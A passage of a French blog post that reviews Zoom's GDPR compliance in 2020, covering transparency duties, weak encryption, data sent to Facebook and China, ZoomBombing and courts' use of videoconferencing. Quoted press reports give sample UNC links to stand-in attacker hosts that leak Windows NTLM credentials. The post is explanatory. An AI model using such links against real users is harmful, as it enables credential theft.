<strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_] -</strong> les consentements devront être répertoriés\nau registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des\ndonnées des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Absence de chiffrage ou d’encryption</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>a Zoom spokesperson wrote, “Currently, it is not possible\nto enable E2E encryption for Zoom video meetings. Zoom video meetings use a\ncombination of TCP and UDP. TCP connections are made using TLS and UDP\nconnections are encrypted with AES using a key negotiated over a TLS\nconnection.”</li><li><em>On 4/3, Citizen Lab&nbsp;</em><em><a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;</em><em><a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\"\nencryption for meetings where possible. However, we find that in each Zoom\nmeeting, a single AES-128 key is used in ECB mode by all participants to\nencrypt and decrypt audio and video. The use of ECB mode is not recommended\nbecause patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom\npackets intercepted in Internet traffic, appear to be generated by Zoom\nservers, and in some cases, are delivered to participants in a Zoom meeting\nthrough servers in China, even when all meeting participants, and the Zoom\nsubscriber\'s company, are outside of China. </em><em><a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning:\nZoom Makes Encryption Keys In China (Sometimes)</em><em></em></li><li><em>Where is the EU DPA investigation?\nOnce again, Eu personal data is in between China interception and the US Cloud\nAct interception. Data sent outside the EU in China without users knowledge.\n\"As </em><em><a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its\nfindings to Zoom, saying it was in the public interest to release the\ninformation as soon as possible, the videoconferencing company wouldn’t have\nbeen aware of the findings. But Yuan assured that if user data was being\ntransferred to China when users weren’t even based there, “we are willing to\naddress that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de viseo-conference revelat\nle ID number du meeting et les images des participants accompagnées de leur noms\nou pseudonymes peut être considérées comme une rupture de confidentialité</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du\nconseil ou leur AG. </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés sur les manquements\nde cet outil, comme le New York Attorney General investigations demandant aux écoles\nde ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 